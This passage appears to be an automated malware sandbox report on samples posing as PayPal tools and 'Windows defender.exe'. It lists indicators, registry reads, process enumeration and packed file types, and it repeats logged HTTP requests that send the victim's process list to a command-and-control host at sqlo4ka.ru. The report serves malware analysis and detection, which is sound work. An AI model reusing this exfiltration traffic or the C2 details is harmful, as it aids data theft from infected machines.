xe%3CSTR%3Ewininit.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esvchost.exe%3CSTR%3Econhost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Eexplorer.exe%3CSTR%3Econhost.exe%3CSTR%3ESystem.exe%3CSTR%3EIdle.exe HTTP/1.138:T701,Host: sqlo4ka.ru" (Indicator: "paypal"), "/DCRS/dsock//socket.php?type=__ds_setdata&__ds_setdata_user=8e14f57630962c322e7438a5604d645fabd90e1e&__ds_setdata_ext=262214397645a406f871dd6db9f86081&__ds_setdata_data=%3CSTR%3Esvchost.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esmss.exe%3CSTR%3EOSPPSVC.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Ewinlogon.exe%3CSTR%3Etaskhost.exe%3CSTR%3Esvchost.exe%3CSTR%3EPayPal.exe%3CSTR%3Esvchost.exe%3CSTR%3Edwm.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Elsm.exe%3CSTR%3Elsass.exe%3CSTR%3Efontreview.exe%3CSTR%3Ecsrss.exe%3CSTR%3Eservices.exe%3CSTR%3Edllhost.exe%3CSTR%3Espoolsv.exe%3CSTR%3Econhost.exe%3CSTR%3Ewininit.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esvchost.exe%3CSTR%3Econhost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Eexplorer.exe%3CSTR%3Econhost.exe%3CSTR%3ESystem.exe%3CSTR%3EIdle.exe" (Indicator: "paypal"), "GET /DCRS/dsock//socket.php?type=__ds_setdata&__ds_setdata_user=8e14f57630962c322e7438a5604d645fabd90e1e&__ds_setdata_ext=262214397645a406f871dd6db9f86081&__ds_setdata_data=%3CSTR%3Esvchost.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esmss.exe%3CSTR%3EOSPPSVC.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Ewinlogon.exe%3CSTR%3Etaskhost.exe%3CSTR%3Esvchost.exe%3CSTR%3EPayPal.exe%3CSTR%3Esvchost.exe%3CSTR%3Edwm.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Elsm.exe%3CSTR%3Elsass.exe%3CSTR%3Efontreview.exe%3CSTR%3Ecsrss.exe%3CSTR%3Eservices.exe%3CSTR%3Edllhost.exe%3CSTR%3Espoolsv.exe%3CSTR%3Econhost.exe%3CSTR%3Ewininit.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esvchost.exe%3CSTR%3Econhost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Eexplorer.exe%3CSTR%3Econhost.exe%3CSTR%3ESystem.exe%3CSTR%3EIdle.exe HTTP/1.139:T701,Host: sqlo4ka.ru" (Indicator: "paypal"), "/DCRS/dsock//socket.php?type=__ds_setdata&__ds_setdata_user=8e14f57630962c322e7438a5604d645fabd90e1e&__ds_setdata_ext=262214397645a406f871dd6db9f86081&__ds_setdata_data=%3CSTR%3Esvchost.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esmss.exe%3CSTR%3EOSPPSVC.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Ewinlogon.exe%3CSTR%3Etaskhost.exe%3CSTR%3Esvchost.exe%3CSTR%3EPayPal.exe%3CSTR%3Esvchost.exe%3CSTR%3Edwm.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Elsm.exe%3CSTR%3Elsass.exe%3CSTR%3Efontreview.exe%3CSTR%3Edllhost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Eservices.exe%3CSTR%3Espoolsv.exe%3CSTR%3Econhost.exe%3CSTR%3Ewininit.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esvchost.exe%3CSTR%3Econhost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Eexplorer.exe%3CSTR%3Econhost.exe%3CSTR%3ESystem.exe%3CSTR%3EIdle.exe" (Indicator: "paypal"), "GET /DCRS/dsock//socket.php?type=__ds_setdata&__ds_setdata_user=8e14f57630962c322e7438a5604d645fabd90e1e&__ds_setdata_ext=262214397645a406f871dd6db9f86081&__ds_setdata_data=%3CSTR%3Esvchost.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esmss.exe%3CSTR%3EOSPPSVC.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Ewinlogon.exe%3CSTR%3Etaskhost.exe%3CSTR%3Esvchost.exe%3CSTR%3EPayPal.exe%3CSTR%3Esvchost.exe%3CSTR%3Edwm.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Elsm.exe%3CSTR%3Elsass.exe%3CSTR%3Efontreview.exe%3CSTR%3Edllhost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Eservices.exe%3CSTR%3Espoolsv.exe%3CSTR%3Econhost.exe%3CSTR%3Ewininit.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esvchost.exe%3CSTR%3Econhost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Eexplorer.exe%3CSTR%3Econhost.exe%3CSTR%3ESystem.exe%3CSTR%3EIdle.exe HTTP/1.13a:T6d9,Host: sqlo4ka.ru" (Indicator: "paypal"), "/DCRS/dsock//socket.php?type=__ds_setdata&__ds_setdata_user=8e14f57630962c322e7438a5604d645fabd90e1e&__ds_setdata_ext=262214397645a406f871dd6db9f86081&__ds_setdata_data=%3CSTR%3Esvchost.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esmss.exe%3CSTR%3EOSPPSVC.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Ewinlogon.exe%3CSTR%3Etaskhost.exe%3CSTR%3Edllhost.exe%3CSTR%3Esvchost.exe%3CSTR%3EPayPal.exe%3CSTR%3Edwm.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Elsm.exe%3CSTR%3Elsass.exe%3CSTR%3Efontreview.exe%3CSTR%3Ecsrss.exe%3CSTR%3Eservices.exe%3CSTR%3Espoolsv.exe%3CSTR%3Econhost.exe%3CSTR%3Ewininit.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esvchost.exe%3CSTR%3Econhost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Eexplorer.exe%3CSTR%3Econhost.exe%3CSTR%3ESystem.exe%3CSTR%3EIdle.exe" (Indicator: "paypal"), "GET /DCRS/dsock//socket.php?type=__ds_setdata&__ds_setdata_user=8e14f57630962c322e7438a5604d645fabd90e1e&__ds_setdata_ext=262214397645a406f871dd6db9f86081&__ds_setdata_data=%3CSTR%3Esvchost.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esmss.exe%3CSTR%3EOSPPSVC.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Ewinlogon.exe%3CSTR%3Etaskhost.exe%3CSTR%3Edllhost.exe%3CSTR%3Esvchost.exe%3CSTR%3EPayPal.exe%3CSTR%3Edwm.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Elsm.exe%3CSTR%3Elsass.exe%3CSTR%3Efontreview.exe%3CSTR%3Ecsrss.exe%3CSTR%3Eservices.exe%3CSTR%3Espoolsv.exe%3CSTR%3Econhost.exe%3CSTR%3Ewininit.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esvchost.exe%3CSTR%3Econhost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Eexplorer.exe%3CSTR%3Econhost.exe%3CSTR%3ESystem.exe%3CSTR%3EIdle.exe HTTP/1.13b:T756,"fontreview.exe" queried SystemProcessInformation at 00101353-00003544-00000033-143677007804 "fontreview.exe" queried SystemProcessInformation at 00101353-00003544-00000033-151536201158 "fontreview.exe" queried SystemProcessInformation at 00101353-00003544-00000033-157219534066 "fontreview.exe" queried SystemProcessInformation at 00101353-00003544-00000033-162911349947 "fontreview.exe" queried SystemProcessInformation at 00101353-00003544-00000033-168577711306 "fontreview.exe" queried SystemProcessInformation at 00101353-00003544-00000033-174277924778 "fontreview.exe" queried SystemProcessInformation at 00101353-00003544-00000033-179963160879 "fontreview.exe" queried SystemProcessInformation at 00101353-00003544-00000033-185628163103 "fontreview.exe" queried SystemProcessInformation at 00101353-00003544-00000033-191340202147 "fontreview.exe" queried SystemProcessInformation at 00101353-00003544-00000033-197063451586 "fontreview.exe" queried SystemProcessInformation at 00101353-00003544-00000033-202776804071 "fontreview.exe" queried SystemProcessInformation at 00101353-00003544-00000033-208457286256 "fontreview.exe" queried SystemProcessInformation at 00101353-00003544-00000033-214246625912 "fontreview.exe" queried SystemProcessInformation at 00101353-00003544-00000033-220059188851 "fontreview.exe" queried SystemProcessInformation at 00101353-00003544-00000033-225837327769 "fontreview.exe" queried SystemProcessInformation at 00101353-00003544-00000033-231571858927 "fontreview.exe" queried SystemProcessInformation at 00101353-00003544-00000033-237278119298 "fontreview.exe" queried SystemProcessInformation at 00101353-00003544-00000033-242964618571 "fontreview.exe" queried SystemProcessInformation at 00101353-00003544-00000033-248695459364 "fontreview.exe" queried SystemProcessInformation at 00101353-00003544-00000033-2543863431663c:T43f,"PayPalBrute_Checker.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\COMPUTERNAME\ACTIVECOMPUTERNAME"; Key: "COMPUTERNAME") "PayPal.scr" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\COMPUTERNAME\ACTIVECOMPUTERNAME"; Key: "COMPUTERNAME") "PayPal.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\COMPUTERNAME\ACTIVECOMPUTERNAME"; Key: "COMPUTERNAME") "loader.bat" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\COMPUTERNAME\ACTIVECOMPUTERNAME"; Key: "COMPUTERNAME") "90cc6e447d345bb1f103751ab038bbce19190db6.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\COMPUTERNAME\ACTIVECOMPUTERNAME"; Key: "COMPUTERNAME") "Windows defender.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\COMPUTERNAME\ACTIVECOMPUTERNAME"; Key: "COMPUTERNAME") "e6ee5674bb9446c78bbc5729af6e2c28.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\COMPUTERNAME\ACTIVECOMPUTERNAME"; Key: "COMPUTERNAME") "WatchBull.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\COMPUTERNAME\ACTIVECOMPUTERNAME"; Key: "COMPUTERNAME") "fontreview.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\COMPUTERNAME\ACTIVECOMPUTERNAME"; Key: "COMPUTERNAME")3d:T5d4,"regedit.exe" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows" "PayPal.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows" "RuntimeBroker.exe" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows" "System.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows" "90cc6e447d345bb1f103751ab038bbce19190db6.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows UPX compressed" "WebHelper.exe" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows" "fontreview.exe" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows" "dasHost.exe" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows" "PayPal brute_checker.exe" has type "PE32+ executable (GUI) x86-64 for MS Windows" "WatchBull.exe" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows" "loader.bat" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows" "e6ee5674bb9446c78bbc5729af6e2c28.exe" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows" "Windows defender.exe" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows" "SQLite.Interop.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows" "urlref_httpsqlo4ka.ruDCRSdsock90cc6e447d345bb1f103751ab038bbce19190db6.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows UPX compressed"3e:T37a8,"/DCRS/dsock//socket.php?type=__ds_setdata&__ds_setdata_user=8e14f57630962c322e7438a5604d645fabd90e1e&__ds_setdata_ext=262214397645a406f871dd6db9f86081&__ds_setdata_data=%3CSTR%3Esvchost.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esmss.exe%3CSTR%3EOSPPSVC.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Ewinlogon.exe%3CSTR%3Etaskhost.exe%3CSTR%3Esvchost.exe%3CSTR%3EPayPal.exe%3CSTR%3Esvchost.exe%3CSTR%3Edwm.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Elsm.exe%3CSTR%3Elsass.exe%3CSTR%3Efontreview.exe%3CSTR%3Ecsrss.exe%3CSTR%3Eservices.exe%3CSTR%3Espoolsv.exe%3CSTR%3Econhost.exe%3CSTR%3Ewininit.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esvchost.exe%3CSTR%3Econhost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Eexplorer.exe%3CSTR%3Econhost.exe%3CSTR%3ESystem.exe%3CSTR%3EIdle.exe" (Indicator: "wmiprvse.exe") "GET /DCRS/dsock//socket.php?type=__ds_setdata&__ds_setdata_user=8e14f57630962c322e7438a5604d645fabd90e1e&__ds_setdata_ext=262214397645a406f871dd6db9f86081&__ds_setdata_data=%3CSTR%3Esvchost.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esmss.exe%3CSTR%3EOSPPSVC.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Ewinlogon.exe%3CSTR%3Etaskhost.exe%3CSTR%3Esvchost.exe%3CSTR%3EPayPal.exe%3CSTR%3Esvchost.exe%3CSTR%3Edwm.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Elsm.exe%3CSTR%3Elsass.exe%3CSTR%3Efontreview.exe%3CSTR%3Ecsrss.exe%3CSTR%3Eservices.exe%3CSTR%3Espoolsv.exe%3CSTR%3Econhost.exe%3CSTR%3Ewininit.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esvchost.exe%3CSTR%3Econhost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Eexplorer.exe%3CSTR%3Econhost.exe%3CSTR%3ESystem.exe%3CSTR%3EIdle.exe HTTP/1.1 Host: sqlo4ka.ru" (Indicator: "wmiprvse.exe") "/DCRS/dsock//socket.php?type=__ds_setdata&__ds_setdata_user=8e14f57630962c322e7438a5604d645fabd90e1e&__ds_setdata_ext=262214397645a406f871dd6db9f86081&__ds_setdata_data=%3CSTR%3Esvchost.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esmss.exe%3CSTR%3EOSPPSVC.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Ewinlogon.exe%3CSTR%3Etaskhost.exe%3CSTR%3Esvchost.exe%3CSTR%3EPayPal.exe%3CSTR%3Esvchost.exe%3CSTR%3Edwm.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Elsm.exe%3CSTR%3Elsass.exe%3CSTR%3Efontreview.exe%3CSTR%3Ecsrss.exe%3CSTR%3Eservices.exe%3CSTR%3Espoolsv.exe%3CSTR%3Edllhost.exe%3CSTR%3Econhost.exe%3CSTR%3Ewininit.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esvchost.exe%3CSTR%3Econhost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Eexplorer.exe%3CSTR%3Econhost.exe%3CSTR%3ESystem.exe%3CSTR%3EIdle.exe" (Indicator: "wmiprvse.exe") "GET /DCRS/dsock//socket.php?type=__ds_setdata&__ds_setdata_user=8e14f57630962c322e7438a5604d645fabd90e1e&__ds_setdata_ext=262214397645a406f871dd6db9f86081&__ds_setdata_data=%3CSTR%3Esvchost.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esmss.exe%3CSTR%3EOSPPSVC.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Ewinlogon.exe%3CSTR%3Etaskhost.exe%3CSTR%3Esvchost.exe%3CSTR%3EPayPal.exe%3CSTR%3Esvchost.exe%3CSTR%3Edwm.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Elsm.exe%3CSTR%3Elsass.exe%3CSTR%3Efontreview.exe%3CSTR%3Ecsrss.exe%3CSTR%3Eservices.exe%3CSTR%3Espoolsv.exe%3CSTR%3Edllhost.exe%3CSTR%3Econhost.exe%3CSTR%3Ewininit.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esvchost.exe%3CSTR%3Econhost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Eexplorer.exe%3CSTR%3Econhost.exe%3CSTR%3ESystem.exe%3CSTR%3EIdle.exe HTTP/1.1 Host: sqlo4ka.ru" (Indicator: "wmiprvse.exe") "/DCRS/dsock//socket.php?type=__ds_setdata&__ds_setdata_user=8e14f57630962c322e7438a5604d645fabd90e1e&__ds_setdata_ext=262214397645a406f871dd6db9f86081&__ds_setdata_data=%3CSTR%3Esvchost.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esmss.exe%3CSTR%3EOSPPSVC.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Ewinlogon.exe%3CSTR%3Etaskhost.exe%3CSTR%3Esvchost.exe%3CSTR%3EPayPal.exe%3CSTR%3Esvchost.exe%3CSTR%3Edwm.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Elsm.exe%3CSTR%3Elsass.exe%3CSTR%3Efontreview.exe%3CSTR%3Ecsrss.exe%3CSTR%3Eservices.exe%3CSTR%3Edllhost.exe%3CSTR%3Espoolsv.exe%3CSTR%3Econhost.exe%3CSTR%3Ewininit.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esvchost.exe%3CSTR%3Econhost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Eexplorer.exe%3CSTR%3Econhost.exe%3CSTR%3ESystem.exe%3CSTR%3EIdle.exe" (Indicator: "wmiprvse.exe") "GET /DCRS/dsock//socket.php?type=__ds_setdata&__ds_setdata_user=8e14f57630962c322e7438a5604d645fabd90e1e&__ds_setdata_ext=262214397645a406f871dd6db9f86081&__ds_setdata_data=%3CSTR%3Esvchost.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esmss.exe%3CSTR%3EOSPPSVC.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Ewinlogon.exe%3CSTR%3Etaskhost.exe%3CSTR%3Esvchost.exe%3CSTR%3EPayPal.exe%3CSTR%3Esvchost.exe%3CSTR%3Edwm.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Elsm.exe%3CSTR%3Elsass.exe%3CSTR%3Efontreview.exe%3CSTR%3Ecsrss.exe%3CSTR%3Eservices.exe%3CSTR%3Edllhost.exe%3CSTR%3Espoolsv.exe%3CSTR%3Econhost.exe%3CSTR%3Ewininit.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esvchost.exe%3CSTR%3Econhost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Eexplorer.exe%3CSTR%3Econhost.exe%3CSTR%3ESystem.exe%3CSTR%3EIdle.exe HTTP/1.1 Host: sqlo4ka.ru" (Indicator: "wmiprvse.exe") "/DCRS/dsock//socket.php?type=__ds_setdata&__ds_setdata_user=8e14f57630962c322e7438a5604d645fabd90e1e&__ds_setdata_ext=262214397645a406f871dd6db9f86081&__ds_setdata_data=%3CSTR%3Esvchost.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esmss.exe%3CSTR%3EOSPPSVC.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Ewinlogon.exe%3CSTR%3Etaskhost.exe%3CSTR%3Esvchost.exe%3CSTR%3EPayPal.exe%3CSTR%3Esvchost.exe%3CSTR%3Edwm.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Elsm.exe%3CSTR%3Elsass.exe%3CSTR%3Efontreview.exe%3CSTR%3Edllhost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Eservices.exe%3CSTR%3Espoolsv.exe%3CSTR%3Econhost.exe%3CSTR%3Ewininit.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esvchost.exe%3CSTR%3Econhost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Eexplorer.exe%3CSTR%3Econhost.exe%3CSTR%3ESystem.exe%3CSTR%3EIdle.exe" (Indicator: "wmiprvse.exe") "GET /DCRS/dsock//socket.php?type=__ds_setdata&__ds_setdata_user=8e14f57630962c322e7438a5604d645fabd90e1e&__ds_setdata_ext=262214397645a406f871dd6db9f86081&__ds_setdata_data=%3CSTR%3Esvchost.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esmss.exe%3CSTR%3EOSPPSVC.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Ewinlogon.exe%3CSTR%3Etaskhost.exe%3CSTR%3Esvchost.exe%3CSTR%3EPayPal.exe%3CSTR%3Esvchost.exe%3CSTR%3Edwm.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Elsm.exe%3CSTR%3Elsass.exe%3CSTR%3Efontreview.exe%3CSTR%3Edllhost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Eservices.exe%3CSTR%3Espoolsv.exe%3CSTR%3Econhost.exe%3CSTR%3Ewininit.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esvchost.exe%3CSTR%3Econhost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Eexplorer.exe%3CSTR%3Econhost.exe%3CSTR%3ESystem.exe%3CSTR%3EIdle.exe HTTP/1.1 Host: sqlo4ka.ru" (Indicator: "wmiprvse.exe") "/DCRS/dsock//socket.php?type=__ds_setdata&__ds_setdata_user=8e14f57630962c322e7438a5604d645fabd90e1e&__ds_setdata_ext=262214397645a406f871dd6db9f86081&__ds_setdata_data=%3CSTR%3Esvchost.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esmss.exe%3CSTR%3EOSPPSVC.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Ewinlogon.exe%3CSTR%3Etaskhost.exe%3CSTR%3Edllhost.exe%3CSTR%3Esvchost.exe%3CSTR%3EPayPal.exe%3CSTR%3Edwm.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Elsm.exe%3CSTR%3Elsass.exe%3CSTR%3Efontreview.exe%3CSTR%3Ecsrss.exe%3CSTR%3Eservices.exe%3CSTR%3Espoolsv.exe%3CSTR%3Econhost.exe%3CSTR%3Ewininit.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esvchost.exe%3CSTR%3Econhost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Eexplorer.exe%3CSTR%3Econhost.exe%3CSTR%3ESystem.exe%3CSTR%3EIdle.exe" (Indicator: "wmiprvse.exe") "GET /DCRS/dsock//socket.php?type=__ds_setdata&__ds_setdata_user=8e14f57630962c322e7438a5604d645fabd90e1e&__ds_setdata_ext=262214397645a406f871dd6db9f86081&__ds_setdata_data=%3CSTR%3Esvchost.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esmss.exe%3CSTR%3EOSPPSVC.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Ewinlogon.exe%3CSTR%3Etaskhost.exe%3CSTR%3Edllhost.exe%3CSTR%3Esvchost.exe%3CSTR%3EPayPal.exe%3CSTR%3Edwm.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Elsm.exe%3CSTR%3Elsass.exe%3CSTR%3Efontreview.exe%3CSTR%3Ecsrss.exe%3CSTR%3Eservices.exe%3CSTR%3Espoolsv.exe%3CSTR%3Econhost.exe%3CSTR%3Ewininit.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esvchost.exe%3CSTR%3Econhost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Eexplorer.exe%3CSTR%3Econhost.exe%3CSTR%3ESystem.exe%3CSTR%3EIdle.exe HTTP/1.1 Host: sqlo4ka.ru" (Indicator: "wmiprvse.exe") "/DCRS/dsock//socket.php?type=__ds_setdata&__ds_setdata_user=8e14f57630962c322e7438a5604d645fabd90e1e&__ds_setdata_ext=262214397645a406f871dd6db9f86081&__ds_setdata_data=%3CSTR%3Esvchost.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esmss.exe%3CSTR%3EOSPPSVC.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Ewinlogon.exe%3CSTR%3Etaskhost.exe%3CSTR%3Esvchost.exe%3CSTR%3EPayPal.exe%3CSTR%3Edwm.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Elsm.exe%3CSTR%3Elsass.exe%3CSTR%3Efontreview.exe%3CSTR%3Ecsrss.exe%3CSTR%3Eservices.exe%3CSTR%3Espoolsv.exe%3CSTR%3Econhost.exe%3CSTR%3Ewininit.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esvchost.exe%3CSTR%3Econhost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Eexplorer.exe%3CSTR%3Econhost.exe%3CSTR%3ESystem.exe%3CSTR%3EIdle.exe" (Indicator: "wmiprvse.exe") "GET /DCRS/dsock//socket.php?type=__ds_setdata&__ds_setdata_user=8e14f57630962c322e7438a5604d645fabd90e1e&__ds_setdata_ext=262214397645a406f871dd6db9f86081&__ds_setdata_data=%3CSTR%3Esvchost.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esmss.exe%3CSTR%3EOSPPSVC.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Ewinlogon.exe%3CSTR%3Etaskhost.exe%3CSTR%3Esvchost.exe%3CSTR%3EPayPal.exe%3CSTR%3Edwm.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Elsm.exe%3CSTR%3Elsass.exe%3CSTR%3Efontreview.exe%3CSTR%3Ecsrss.exe%3CSTR%3Eservices.exe%3CSTR%3Espoolsv.exe%3CSTR%3Econhost.exe%3CSTR%3Ewininit.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esvchost.exe%3CSTR%3Econhost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Eexplorer.exe%3CSTR%3Econhost.exe%3CSTR%3ESystem.exe%3CSTR%3EIdle.exe HTTP/1.1 Host: sqlo4ka.ru" (Indicator: "wmiprvse.exe") 